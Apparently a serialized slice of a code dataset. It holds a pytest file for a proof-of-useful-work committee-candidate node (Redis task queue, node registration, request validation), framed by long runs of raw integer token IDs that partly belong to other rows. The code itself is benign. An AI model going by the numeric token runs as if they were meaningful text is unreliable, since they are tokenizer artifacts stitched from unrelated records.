15842,
13764,
29979,
315,
4375,
7833,
29892,
21330,
1529,
1692,
29903,
6323,
438,
29911,
4448,
13,
29937,
17705,
2882,
6227,
11937,
29892,
12317,
2544,
4448,
2672,
13764,
319,
9838,
8079,
8707,
29911,
4717,
1783,
29892,
323,
8476,
6323,
438,
29911,
4448,
22119,
1660,
29892,
9033,
3235,
4214,
3895,
29892,
13,
29937,
19474,
8079,
6323,
2672,
8707,
8186,
9838,
22659,
6093,
7791,
7818,
12982,
1525,
6323,
6093,
501,
1660,
6323,
438,
29911,
4448,
5012,
1964,
4214,
29903,
2672,
6093,
13,
29937,
7791,
7818,
12982,
1525,
29889,
13,
13,
5215,
4842,
305,
13,
5215,
12655,
408,
7442,
13,
3166,
4842,
305,
1053,
302,
29876,
13,
13,
3166,
4733,
29889,
3188,
29918,
15755,
1053,
7399,
10262,
13,
13,
13,
1990,
1281,
9084,
15063,
449,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
7688,
29918,
15227,
3950,
29922,
29896,
29872,
29899,
29953,
29892,
13,
462,
5768,
449,
29918,
15227,
3950,
29922,
29896,
29872,
29899,
29945,
29892,
2069,
29918,
1195,
29922,
29900,
29889,
29896,
29892,
2069,
29918,
3317,
29922,
29900,
29889,
29896,
1125,
13,
4706,
2428,
29898,
1168,
9084,
15063,
449,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
13,
4706,
1583,
29889,
7915,
29918,
15227,
3950,
353,
7688,
29918,
15227,
3950,
13,
4706,
1583,
29889,
8865,
449,
29918,
15227,
3950,
353,
5768,
449,
29918,
15227,
3950,
13,
13,
4706,
2069,
29918,
1195,
353,
7442,
29889,
1188,
29898,
2344,
29918,
1195,
29897,
448,
7442,
29889,
1188,
29898,
29896,
29889,
448,
2069,
29918,
1195,
29897,
13,
4706,
2069,
29918,
3317,
353,
7442,
29889,
1188,
29898,
2344,
29918,
3317,
29897,
448,
7442,
29889,
1188,
29898,
29896,
29889,
448,
2069,
29918,
3317,
29897,
13,
13,
4706,
1583,
29889,
29886,
29918,
1188,
277,
353,
302,
29876,
29889,
9329,
29898,
7345,
305,
29889,
6310,
29898,
29896,
467,
29590,
23538,
2344,
29918,
1195,
29892,
2069,
29918,
3317,
876,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
29892,
7546,
1125,
13,
4706,
282,
353,
4842,
305,
29889,
18816,
29885,
3398,
29898,
1311,
29889,
29886,
29918,
1188,
277,
29897,
13,
13,
4706,
714,
353,
7546,
29898,
1311,
3032,
535,
9084,
29918,
8865,
449,
29898,
29916,
29892,
282,
876,
13,
13,
4706,
2533,
29918,
974,
29918,
17619,
353,
29871,
29900,
13,
4706,
363,
1828,
297,
7546,
29889,
16744,
7295,
13,
9651,
2533,
29918,
974,
29918,
17619,
4619,
4842,
305,
29889,
2083,
29898,
7345,
305,
29889,
12248,
29898,
3207,
29892,
29871,
29906,
876,
13,
13,
4706,
18177,
29918,
15227,
3950,
353,
1583,
29889,
7915,
29918,
15227,
3950,
334,
2533,
29918,
974,
29918,
17619,
847,
313,
29896,
448,
282,
29897,
13,
13,
4706,
5768,
449,
29918,
15227,
3950,
353,
282,
334,
4842,
305,
29889,
1188,
29898,
29886,
29897,
13,
4706,
5768,
449,
29918,
15227,
3950,
4619,
313,
29896,
29889,
448,
282,
29897,
334,
4842,
305,
29889,
1188,
29898,
29896,
29889,
448,
282,
29897,
13,
13,
4706,
1881,
29918,
12531,
537,
353,
921,
29961,
29900,
1822,
1949,
295,
580,
29871,
396,
9681,
310,
3161,
310,
937,
2944,
297,
9853,
13,
4706,
5768,
449,
29918,
15227,
3950,
334,
29922,
1583,
29889,
8865,
449,
29918,
15227,
3950,
334,
1881,
29918,
12531,
537,
13,
13,
4706,
4943,
2133,
353,
18177,
29918,
15227,
3950,
718,
5768,
449,
29918,
15227,
3950,
13,
13,
4706,
736,
714,
29892,
4943,
2133,
13,
13,
1678,
822,
903,
535,
9084,
29918,
8865,
449,
29898,
1311,
29892,
921,
29892,
282,
1125,
13,
4706,
321,
567,
353,
29871,
29896,
29872,
29899,
29955,
13,
4706,
5694,
353,
29871,
29900,
29889,
29896,
13,
13,
4706,
443,
361,
29918,
1217,
895,
353,
4842,
305,
29889,
9502,
29918,
4561,
29898,
29916,
29897,
13,
13,
4706,
5768,
29918,
22795,
353,
313,
7345,
305,
29889,
1188,
29898,
29886,
718,
321,
567,
29897,
13,
462,
268,
448,
4842,
305,
29889,
1188,
29898,
29896,
448,
282,
718,
321,
567,
29897,
13,
462,
268,
718,
4842,
305,
29889,
1188,
29898,
348,
361,
29918,
1217,
895,
718,
321,
567,
29897,
13,
462,
268,
448,
4842,
305,
29889,
1188,
29898,
29896,
448,
443,
361,
29918,
1217,
895,
718,
321,
567,
876,
13,
13,
4706,
5768,
29918,
22795,
353,
4842,
305,
29889,
18816,
29885,
3398,
29898,
8865,
29918,
22795,
847,
5694,
29897,
13,
4706,
4036,
29918,
20158,
353,
29871,
29896,
448,
5768,
29918,
22795,
13,
4706,
11551,
29918,
22795,
353,
29871,
29896,
448,
282,
13,
13,
4706,
921,
353,
4842,
305,
29889,
16109,
29898,
29916,
29892,
4036,
29918,
20158,
29897,
13,
4706,
921,
847,
29922,
11551,
29918,
22795,
13,
13,
4706,
736,
921,
13,
13,
13,
1990,
1281,
9084,
15063,
449,
10262,
29898,
5160,
10262,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
7688,
29918,
15227,
3950,
29892,
5768,
449,
29918,
15227,
3950,
29892,
1881,
29918,
2311,
29892,
1962,
29918,
2311,
29892,
3579,
19290,
1125,
13,
4706,
2428,
29898,
1168,
9084,
15063,
449,
10262,
29892,
1583,
467,
1649,
2344,
12035,
1068,
19290,
29897,
13,
13,
4706,
1583,
29889,
10892,
29918,
2311,
29889,
4397,
29898,
4905,
29918,
2311,
29897,
13,
13,
4706,
1583,
29889,
10660,
29896,
353,
302,
29876,
29889,
12697,
29898,
2080,
29918,
2311,
29892,
1583,
29889,
10892,
29918,
2311,
29961,
29900,
2314,
13,
4706,
1583,
29889,
1220,
1503,
353,
302,
29876,
29889,
7355,
1293,
4197,
15755,
29889,
12697,
29898,
1311,
29889,
10892,
29918,
2311,
29961,
29875,
1402,
1583,
29889,
10892,
29918,
2311,
29961,
29875,
718,
29871,
29896,
2314,
363,
474,
297,
3464,
29898,
2435,
29898,
1311,
29889,
10892,
29918,
2311,
29897,
448,
29871,
29896,
29897,
2314,
13,
13,
4706,
1583,
29889,
535,
29883,
29918,
26419,
567,
353,
302,
29876,
29889,
7355,
1293,
4197,
1168,
9084,
15063,
449,
29898,
7915,
29918,
15227,
3950,
29922,
7915,
29918,
15227,
3950,
29892,
13,
462,
462,
462,
308,
5768,
449,
29918,
15227,
3950,
29922,
8865,
449,
29918,
15227,
3950,
29897,
13,
462,
462,
308,
363,
474,
297,
3464,
29898,
2435,
29898,
1311,
29889,
10892,
29918,
2311,
876,
2314,
13,
13,
4706,
1583,
29889,
627,
353,
302,
29876,
29889,
1123,
29931,
29965,
580,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
1125,
13,
4706,
4943,
2133,
353,
4842,
305,
29889,
6310,
29898,
2435,
29898,
1311,
29889,
10892,
29918,
2311,
511,
4742,
29922,
29916,
29889,
10141,
29897,
13,
13,
4706,
714,
29918,
2749,
353,
5159,
13,
13,
4706,
714,
29892,
4943,
2133,
29961,
29900,
29962,
353,
1583,
29889,
535,
29883,
29918,
26419,
567,
29961,
29900,
850,
29916,
29892,
302,
29876,
29889,
16941,
2556,
29898,
1311,
29889,
10660,
29896,
29892,
1583,
29889,
627,
876,
13,
4706,
714,
29918,
2749,
29889,
4397,
29898,
449,
29897,
13,
4706,
363,
474,
297,
3464,
29898,
2435,
29898,
1311,
29889,
10892,
29918,
2311,
29897,
448,
29871,
29896,
1125,
13,
9651,
565,
474,
1275,
7431,
29898,
1311,
29889,
10892,
29918,
2311,
29897,
448,
29871,
29906,
29901,
13,
18884,
1044,
353,
302,
29876,
29889,
18415,
580,
13,
9651,
1683,
29901,
13,
18884,
1044,
353,
1583,
29889,
627,
13,
9651,
714,
29892,
4943,
2133,
29961,
29875,
718,
29871,
29896,
29962,
353,
1583,
29889,
535,
29883,
29918,
26419,
567,
29961,
29875,
718,
29871,
29896,
850,
449,
29892,
302,
29876,
29889,
16941,
2556,
29898,
1311,
29889,
1220,
1503,
29961,
29875,
1402,
1044,
876,
13,
9651,
714,
29918,
2749,
29889,
4397,
29898,
449,
29897,
13,
13,
4706,
736,
714,
29892,
4943,
2133,
29889,
2083,
580,
13,
2
] |
tests/pouw/nods/decentralized/test_committee_candidate.py | projectpai/pouw-main-iteration | 11 | 133353 | <reponame>projectpai/pouw-main-iteration
import random
import time
import uuid
import mock
import pytest
import yaml
from mock import MagicMock, PropertyMock
import pai.pouw.nodes.decentralized.committee_candidate
from pai.pouw.constants import CLIENT_TASK_CHANNEL, WAIT_TIME_AFTER_MINIMAL_NUMBER_OF_NODES_HAS_REGISTERED, \
MIN_MEMBERS_NUM, NUMBER_OF_DATASET_SEGMENTS
from pai.pouw.nodes.decentralized.client import Client
from pai.pouw.nodes.decentralized.committee_candidate import CommitteeCandidate
def test_get_training_task_request_non_destructive(redisdb):
node = CommitteeCandidate()
node.conn = redisdb
redisdb.lpush(CLIENT_TASK_CHANNEL, 'test1')
assert node.get_training_task_request() == 'test1'
assert redisdb.llen(CLIENT_TASK_CHANNEL) == 1
def test_get_training_task_request_fifo_behaviour(redisdb):
node = CommitteeCandidate()
node.conn = redisdb
redisdb.lpush(CLIENT_TASK_CHANNEL, 'test1')
redisdb.lpush(CLIENT_TASK_CHANNEL, 'test2')
redisdb.lpush(CLIENT_TASK_CHANNEL, 'test3')
assert node.get_training_task_request() == 'test1'
assert redisdb.llen(CLIENT_TASK_CHANNEL) == 3
def test_validate_request_data_simple(client_task_definition_data):
node = CommitteeCandidate()
node.task_data = client_task_definition_data
node.validate_request_data()
@pytest.mark.parametrize('key', ['version', 'payment', 'ml'])
def test_validate_request_data_missing_root_key(key, client_task_definition_data):
node = CommitteeCandidate()
node.task_data = client_task_definition_data
del node.task_data[key]
with pytest.raises(ValueError):
node.validate_request_data()
@pytest.mark.parametrize('key', ['dataset', 'validation', 'optimizer', 'model', 'evaluation-metrics'])
def test_validate_request_data_missing_ml_parameter_key(key, client_task_definition_data):
node = CommitteeCandidate()
node.task_data = client_task_definition_data
del node.task_data['ml'][key]
with pytest.raises(ValueError):
node.validate_request_data()
@pytest.mark.parametrize('data', [list(), set(), 'test', 0, False])
def test_validate_request_data_invalid_type(data):
node = CommitteeCandidate()
node.task_data = data
with pytest.raises(ValueError):
node.validate_request_data()
def test_set_task_id_provides_consistent_hash(client_task_definition_path, client_task_definition_data):
with open(client_task_definition_path) as request_file:
request_data = request_file.read()
node = CommitteeCandidate()
node.task_data = client_task_definition_data
node.set_task_id(request_data)
task_id = node.task_id
for _ in range(10):
node.set_task_id(request_data)
assert task_id == node.task_id
def test_register_for_task_first_node_registration(redisdb):
node = CommitteeCandidate()
node.conn = redisdb
registration_channel = 'test_registration'
node._task_registration_channel = registration_channel
node.register_for_task()
assert node.get_number_of_registered_nodes() == 1
def test_register_for_task_same_node_not_counted_twice(redisdb):
node = CommitteeCandidate()
node.conn = redisdb
registration_channel = 'test_registration'
node._task_registration_channel = registration_channel
node.register_for_task()
node.register_for_task()
assert node.get_number_of_registered_nodes() == 1
def test_register_for_task_multiple_nodes(redisdb):
registration_channel = 'test_registration'
node_1 = CommitteeCandidate()
node_1.conn = redisdb
node_1._task_registration_channel = registration_channel
node_1.register_for_task()
node_2 = CommitteeCandidate()
node_2.conn = redisdb
node_2._task_registration_channel = registration_channel
node_2.register_for_task()
assert node_1.get_number_of_registered_nodes() == 2
def test_get_number_of_registered_nodes(redisdb):
node = CommitteeCandidate()
node.conn = redisdb
registration_channel = 'test_registration'
node._task_registration_channel = registration_channel
node.register_for_task()
assert node.get_number_of_registered_nodes() == 1
def test_get_number_of_registered_nodes_same_node_not_counted_twice(redisdb):
node = CommitteeCandidate()
node.conn = redisdb
registration_channel = 'test_registration'
node._task_registration_channel = registration_channel
node.register_for_task()
node.register_for_task()
assert node.get_number_of_registered_nodes() == 1
def test_get_number_of_registered_nodes_multiple(redisdb):
registration_channel = 'test_registration'
node_1 = CommitteeCandidate()
node_1.conn = redisdb
node_1._task_registration_channel = registration_channel
node_1.register_for_task()
node_2 = CommitteeCandidate()
node_2.conn = redisdb
node_2._task_registration_channel = registration_channel
node_2.register_for_task()
assert node_1.get_number_of_registered_nodes() == 2
assert node_2.get_number_of_registered_nodes() == 2
def test_wait_for_enough_nodes_to_register_grace_period_waited(mocker):
mocker.patch('pai.pouw.nodes.decentralized.committee_candidate.time.sleep')
node = CommitteeCandidate()
node.get_number_of_registered_nodes = MagicMock(return_value=MIN_MEMBERS_NUM)
node.wait_for_enough_nodes_to_register()
assert pai.pouw.nodes.decentralized.committee_candidate.time.sleep.call_count == WAIT_TIME_AFTER_MINIMAL_NUMBER_OF_NODES_HAS_REGISTERED
def test_inform_client_of_task_id(client_task_definition_data):
node = CommitteeCandidate()
node.task_data = client_task_definition_data
node.conn = MagicMock()
node.inform_client_of_task_id()
node.conn.lpush.assert_called()
def test_inform_client_of_task_integrated(client_task_definition_data, redisdb):
client_address = 'test_client'
node = CommitteeCandidate()
node.conn = redisdb
node.task_id = '123'
node.task_data = client_task_definition_data
node.task_data['client_listen_address'] = client_address
node._client_response_listening_channel = 'test_cluster'
node.inform_client_of_task_id()
client = Client()
client._client_id = client_task_definition_data['client_id']
client.conn = redisdb
client._client_listen_address = client_address
client.obtain_cluster_task_id()
assert client._task_id == '123'
assert client._cluster_address == 'test_cluster'
def test_collect_segment_hash_table_simple(redisdb):
node = CommitteeCandidate()
node.conn = redisdb
cluster_listen_address = 'test_cluster'
node._client_response_listening_channel = cluster_listen_address
client_request = {
'client_id': '123',
'hashes': range(NUMBER_OF_DATASET_SEGMENTS)
}
redisdb.lpush(cluster_listen_address, yaml.dump(client_request))
node.collect_segment_hash_table()
assert len(node.segment_hash_table) == NUMBER_OF_DATASET_SEGMENTS
def test_inform_client_of_hash_voting_results(client_task_definition_data):
node = CommitteeCandidate()
node.task_data = client_task_definition_data
node.conn = MagicMock()
node.inform_client_of_hash_allocation()
node.conn.lpush.assert_called()
def test_validate_segment_list_simple():
node = CommitteeCandidate()
segment_list = [{'hash': i, 'bucket': '', 'key': ''} for i in range(5)]
node.segment_hash_table = range(5)
node.validate_segment_list(segment_list)
def test_validate_segment_list_reverse_order():
node = CommitteeCandidate()
segment_list = [{'hash': i, 'bucket': '', 'key': ''} for i in range(5)]
node.segment_hash_table = range(5)[::-1]
with pytest.raises(ValueError):
node.validate_segment_list(segment_list)
def test_prepare_segments_for_distribution():
node = CommitteeCandidate()
segments = list(range(5))
selected_workers = list(range(4))
node._prepare_segments_for_distribution(segments, selected_workers)
assert len(segments) == 8
assert segments == [0, 1, 2, 3, 4, 4, 4, 4]
def test_disable_registration_for_client_task():
node = CommitteeCandidate()
node.conn = MagicMock()
node.disable_registration_for_client_task()
node.conn.lrem.assert_called()
@pytest.mark.skip('Different api from real redis library')
def test_disable_registration_for_client_task_only_one_task_in_queue(redisdb, client_task_definition_path,
client_task_definition_data):
with open(client_task_definition_path) as request_file:
request_data = request_file.read()
node = CommitteeCandidate()
node.conn = redisdb
node.task_data = client_task_definition_data
node.set_task_id(request_data)
redisdb.lpush(CLIENT_TASK_CHANNEL, request_data)
node.disable_registration_for_client_task()
assert redisdb.llen(CLIENT_TASK_CHANNEL) == 0
@pytest.mark.skip('Different api from real redis library')
def test_disable_registration_for_client_task_multiple_tasks_in_queue(redisdb, client_task_definition_path,
client_task_definition_data):
with open(client_task_definition_path) as request_file:
request_data = request_file.read()
node = CommitteeCandidate()
node.conn = redisdb
node.task_data = client_task_definition_data
node.set_task_id(request_data)
redisdb.lpush(CLIENT_TASK_CHANNEL, request_data)
redisdb.lpush(CLIENT_TASK_CHANNEL, request_data)
node.disable_registration_for_client_task()
assert redisdb.llen(CLIENT_TASK_CHANNEL) == 1
def test_committee_gets_disolved_before_completing_training(redisdb):
registration_channel = 'test_registration'
node_1 = CommitteeCandidate()
node_1.conn = redisdb
node_1._task_registration_channel = registration_channel
node_1.register_for_task()
node_2 = CommitteeCandidate()
node_2.conn = redisdb
node_2._task_registration_channel = registration_channel
node_2.register_for_task()
assert node_1.get_number_of_registered_nodes() == 2
assert node_2.get_number_of_registered_nodes() == 2
time.sleep(20)
assert len(node_1.get_registered_nodes()) == 0
| [
1,
529,
276,
1112,
420,
29958,
4836,
29886,
1794,
29914,
29886,
7100,
29899,
3396,
29899,
1524,
362,
13,
5215,
4036,
13,
5215,
931,
13,
5215,
318,
5416,
13,
13,
5215,
11187,
13,
5215,
11451,
1688,
13,
5215,
343,
8807,
13,
3166,
11187,
1053,
26494,
18680,
29892,
9079,
18680,
13,
13,
5215,
282,
1794,
29889,
29886,
7100,
29889,
18010,
29889,
311,
25171,
1891,
29889,
2055,
9309,
29918,
29883,
5380,
403,
13,
3166,
282,
1794,
29889,
29886,
7100,
29889,
3075,
1934,
1053,
24492,
3919,
29918,
29911,
3289,
29968,
29918,
3210,
2190,
29940,
6670,
29892,
399,
29909,
1806,
29918,
15307,
29918,
5098,
4945,
29918,
16173,
2260,
29931,
29918,
23207,
29918,
9800,
29918,
6632,
2287,
29903,
29918,
29950,
3289,
29918,
18166,
9047,
1001,
3352,
29892,
320,
13,
1678,
341,
1177,
29918,
2303,
9486,
23598,
29918,
13967,
29892,
28019,
13635,
29918,
9800,
29918,
25832,
8127,
29911,
29918,
1660,
29954,
13780,
29903,
13,
3166,
282,
1794,
29889,
29886,
7100,
29889,
18010,
29889,
311,
25171,
1891,
29889,
4645,
1053,
12477,
13,
3166,
282,
1794,
29889,
29886,
7100,
29889,
18010,
29889,
311,
25171,
1891,
29889,
2055,
9309,
29918,
29883,
5380,
403,
1053,
12930,
29907,
5380,
403,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
26495,
29918,
7662,
29918,
3827,
29918,
5464,
29918,
7854,
1247,
573,
29898,
1127,
275,
2585,
1125,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
13082,
353,
29825,
2585,
13,
13,
1678,
29825,
2585,
29889,
29880,
5910,
29898,
27205,
3919,
29918,
29911,
3289,
29968,
29918,
3210,
2190,
29940,
6670,
29892,
525,
1688,
29896,
1495,
13,
13,
1678,
4974,
2943,
29889,
657,
29918,
26495,
29918,
7662,
29918,
3827,
580,
1275,
525,
1688,
29896,
29915,
13,
1678,
4974,
29825,
2585,
29889,
645,
264,
29898,
27205,
3919,
29918,
29911,
3289,
29968,
29918,
3210,
2190,
29940,
6670,
29897,
1275,
29871,
29896,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
26495,
29918,
7662,
29918,
3827,
29918,
28491,
29877,
29918,
915,
8708,
8975,
29898,
1127,
275,
2585,
1125,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
13082,
353,
29825,
2585,
13,
13,
1678,
29825,
2585,
29889,
29880,
5910,
29898,
27205,
3919,
29918,
29911,
3289,
29968,
29918,
3210,
2190,
29940,
6670,
29892,
525,
1688,
29896,
1495,
13,
1678,
29825,
2585,
29889,
29880,
5910,
29898,
27205,
3919,
29918,
29911,
3289,
29968,
29918,
3210,
2190,
29940,
6670,
29892,
525,
1688,
29906,
1495,
13,
1678,
29825,
2585,
29889,
29880,
5910,
29898,
27205,
3919,
29918,
29911,
3289,
29968,
29918,
3210,
2190,
29940,
6670,
29892,
525,
1688,
29941,
1495,
13,
13,
1678,
4974,
2943,
29889,
657,
29918,
26495,
29918,
7662,
29918,
3827,
580,
1275,
525,
1688,
29896,
29915,
13,
1678,
4974,
29825,
2585,
29889,
645,
264,
29898,
27205,
3919,
29918,
29911,
3289,
29968,
29918,
3210,
2190,
29940,
6670,
29897,
1275,
29871,
29941,
13,
13,
13,
1753,
1243,
29918,
15480,
29918,
3827,
29918,
1272,
29918,
12857,
29898,
4645,
29918,
7662,
29918,
16553,
29918,
1272,
1125,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
7662,
29918,
1272,
353,
3132,
29918,
7662,
29918,
16553,
29918,
1272,
13,
13,
1678,
2943,
29889,
15480,
29918,
3827,
29918,
1272,
580,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
3207,
300,
374,
911,
877,
1989,
742,
6024,
3259,
742,
525,
27825,
742,
525,
828,
11287,
13,
1753,
1243,
29918,
15480,
29918,
3827,
29918,
1272,
29918,
27259,
29918,
4632,
29918,
1989,
29898,
1989,
29892,
3132,
29918,
7662,
29918,
16553,
29918,
1272,
1125,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
7662,
29918,
1272,
353,
3132,
29918,
7662,
29918,
16553,
29918,
1272,
13,
13,
1678,
628,
2943,
29889,
7662,
29918,
1272,
29961,
1989,
29962,
13,
13,
1678,
411,
11451,
1688,
29889,
336,
4637,
29898,
1917,
2392,
1125,
13,
4706,
2943,
29889,
15480,
29918,
3827,
29918,
1272,
580,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
3207,
300,
374,
911,
877,
1989,
742,
6024,
24713,
742,
525,
18157,
742,
525,
20640,
3950,
742,
525,
4299,
742,
525,
24219,
362,
29899,
2527,
10817,
11287,
13,
1753,
1243,
29918,
15480,
29918,
3827,
29918,
1272,
29918,
27259,
29918,
828,
29918,
15501,
29918,
1989,
29898,
1989,
29892,
3132,
29918,
7662,
29918,
16553,
29918,
1272,
1125,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
7662,
29918,
1272,
353,
3132,
29918,
7662,
29918,
16553,
29918,
1272,
13,
13,
1678,
628,
2943,
29889,
7662,
29918,
1272,
1839,
828,
2033,
29961,
1989,
29962,
13,
13,
1678,
411,
11451,
1688,
29889,
336,
4637,
29898,
1917,
2392,
1125,
13,
4706,
2943,
29889,
15480,
29918,
3827,
29918,
1272,
580,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
3207,
300,
374,
911,
877,
1272,
742,
518,
1761,
3285,
731,
3285,
525,
1688,
742,
29871,
29900,
29892,
7700,
2314,
13,
1753,
1243,
29918,
15480,
29918,
3827,
29918,
1272,
29918,
20965,
29918,
1853,
29898,
1272,
1125,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
7662,
29918,
1272,
353,
848,
13,
13,
1678,
411,
11451,
1688,
29889,
336,
4637,
29898,
1917,
2392,
1125,
13,
4706,
2943,
29889,
15480,
29918,
3827,
29918,
1272,
580,
13,
13,
13,
1753,
1243,
29918,
842,
29918,
7662,
29918,
333,
29918,
16123,
2247,
29918,
3200,
9696,
29918,
8568,
29898,
4645,
29918,
7662,
29918,
16553,
29918,
2084,
29892,
3132,
29918,
7662,
29918,
16553,
29918,
1272,
1125,
13,
1678,
411,
1722,
29898,
4645,
29918,
7662,
29918,
16553,
29918,
2084,
29897,
408,
2009,
29918,
1445,
29901,
13,
4706,
2009,
29918,
1272,
353,
2009,
29918,
1445,
29889,
949,
580,
13,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
7662,
29918,
1272,
353,
3132,
29918,
7662,
29918,
16553,
29918,
1272,
13,
1678,
2943,
29889,
842,
29918,
7662,
29918,
333,
29898,
3827,
29918,
1272,
29897,
13,
13,
1678,
3414,
29918,
333,
353,
2943,
29889,
7662,
29918,
333,
13,
13,
1678,
363,
903,
297,
3464,
29898,
29896,
29900,
1125,
13,
4706,
2943,
29889,
842,
29918,
7662,
29918,
333,
29898,
3827,
29918,
1272,
29897,
13,
4706,
4974,
3414,
29918,
333,
1275,
2943,
29889,
7662,
29918,
333,
13,
13,
13,
1753,
1243,
29918,
9573,
29918,
1454,
29918,
7662,
29918,
4102,
29918,
3177,
29918,
1727,
8306,
29898,
1127,
275,
2585,
1125,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
13082,
353,
29825,
2585,
13,
13,
1678,
22583,
29918,
12719,
353,
525,
1688,
29918,
1727,
8306,
29915,
13,
13,
1678,
2943,
3032,
7662,
29918,
1727,
8306,
29918,
12719,
353,
22583,
29918,
12719,
13,
1678,
2943,
29889,
9573,
29918,
1454,
29918,
7662,
580,
13,
1678,
4974,
2943,
29889,
657,
29918,
4537,
29918,
974,
29918,
9573,
287,
29918,
18010,
580,
1275,
29871,
29896,
13,
13,
13,
1753,
1243,
29918,
9573,
29918,
1454,
29918,
7662,
29918,
17642,
29918,
3177,
29918,
1333,
29918,
2798,
287,
29918,
7516,
625,
29898,
1127,
275,
2585,
1125,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
13082,
353,
29825,
2585,
13,
13,
1678,
22583,
29918,
12719,
353,
525,
1688,
29918,
1727,
8306,
29915,
13,
13,
1678,
2943,
3032,
7662,
29918,
1727,
8306,
29918,
12719,
353,
22583,
29918,
12719,
13,
1678,
2943,
29889,
9573,
29918,
1454,
29918,
7662,
580,
13,
1678,
2943,
29889,
9573,
29918,
1454,
29918,
7662,
580,
13,
1678,
4974,
2943,
29889,
657,
29918,
4537,
29918,
974,
29918,
9573,
287,
29918,
18010,
580,
1275,
29871,
29896,
13,
13,
13,
1753,
1243,
29918,
9573,
29918,
1454,
29918,
7662,
29918,
20787,
29918,
18010,
29898,
1127,
275,
2585,
1125,
13,
1678,
22583,
29918,
12719,
353,
525,
1688,
29918,
1727,
8306,
29915,
13,
13,
1678,
2943,
29918,
29896,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29918,
29896,
29889,
13082,
353,
29825,
2585,
13,
13,
1678,
2943,
29918,
29896,
3032,
7662,
29918,
1727,
8306,
29918,
12719,
353,
22583,
29918,
12719,
13,
1678,
2943,
29918,
29896,
29889,
9573,
29918,
1454,
29918,
7662,
580,
13,
13,
1678,
2943,
29918,
29906,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29918,
29906,
29889,
13082,
353,
29825,
2585,
13,
13,
1678,
2943,
29918,
29906,
3032,
7662,
29918,
1727,
8306,
29918,
12719,
353,
22583,
29918,
12719,
13,
1678,
2943,
29918,
29906,
29889,
9573,
29918,
1454,
29918,
7662,
580,
13,
13,
1678,
4974,
2943,
29918,
29896,
29889,
657,
29918,
4537,
29918,
974,
29918,
9573,
287,
29918,
18010,
580,
1275,
29871,
29906,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
4537,
29918,
974,
29918,
9573,
287,
29918,
18010,
29898,
1127,
275,
2585,
1125,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
13082,
353,
29825,
2585,
13,
13,
1678,
22583,
29918,
12719,
353,
525,
1688,
29918,
1727,
8306,
29915,
13,
13,
1678,
2943,
3032,
7662,
29918,
1727,
8306,
29918,
12719,
353,
22583,
29918,
12719,
13,
1678,
2943,
29889,
9573,
29918,
1454,
29918,
7662,
580,
13,
1678,
4974,
2943,
29889,
657,
29918,
4537,
29918,
974,
29918,
9573,
287,
29918,
18010,
580,
1275,
29871,
29896,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
4537,
29918,
974,
29918,
9573,
287,
29918,
18010,
29918,
17642,
29918,
3177,
29918,
1333,
29918,
2798,
287,
29918,
7516,
625,
29898,
1127,
275,
2585,
1125,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
13082,
353,
29825,
2585,
13,
13,
1678,
22583,
29918,
12719,
353,
525,
1688,
29918,
1727,
8306,
29915,
13,
13,
1678,
2943,
3032,
7662,
29918,
1727,
8306,
29918,
12719,
353,
22583,
29918,
12719,
13,
1678,
2943,
29889,
9573,
29918,
1454,
29918,
7662,
580,
13,
1678,
2943,
29889,
9573,
29918,
1454,
29918,
7662,
580,
13,
1678,
4974,
2943,
29889,
657,
29918,
4537,
29918,
974,
29918,
9573,
287,
29918,
18010,
580,
1275,
29871,
29896,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
4537,
29918,
974,
29918,
9573,
287,
29918,
18010,
29918,
20787,
29898,
1127,
275,
2585,
1125,
13,
1678,
22583,
29918,
12719,
353,
525,
1688,
29918,
1727,
8306,
29915,
13,
13,
1678,
2943,
29918,
29896,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29918,
29896,
29889,
13082,
353,
29825,
2585,
13,
13,
1678,
2943,
29918,
29896,
3032,
7662,
29918,
1727,
8306,
29918,
12719,
353,
22583,
29918,
12719,
13,
1678,
2943,
29918,
29896,
29889,
9573,
29918,
1454,
29918,
7662,
580,
13,
13,
1678,
2943,
29918,
29906,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29918,
29906,
29889,
13082,
353,
29825,
2585,
13,
13,
1678,
2943,
29918,
29906,
3032,
7662,
29918,
1727,
8306,
29918,
12719,
353,
22583,
29918,
12719,
13,
1678,
2943,
29918,
29906,
29889,
9573,
29918,
1454,
29918,
7662,
580,
13,
13,
1678,
4974,
2943,
29918,
29896,
29889,
657,
29918,
4537,
29918,
974,
29918,
9573,
287,
29918,
18010,
580,
1275,
29871,
29906,
13,
1678,
4974,
2943,
29918,
29906,
29889,
657,
29918,
4537,
29918,
974,
29918,
9573,
287,
29918,
18010,
580,
1275,
29871,
29906,
13,
13,
13,
1753,
1243,
29918,
10685,
29918,
1454,
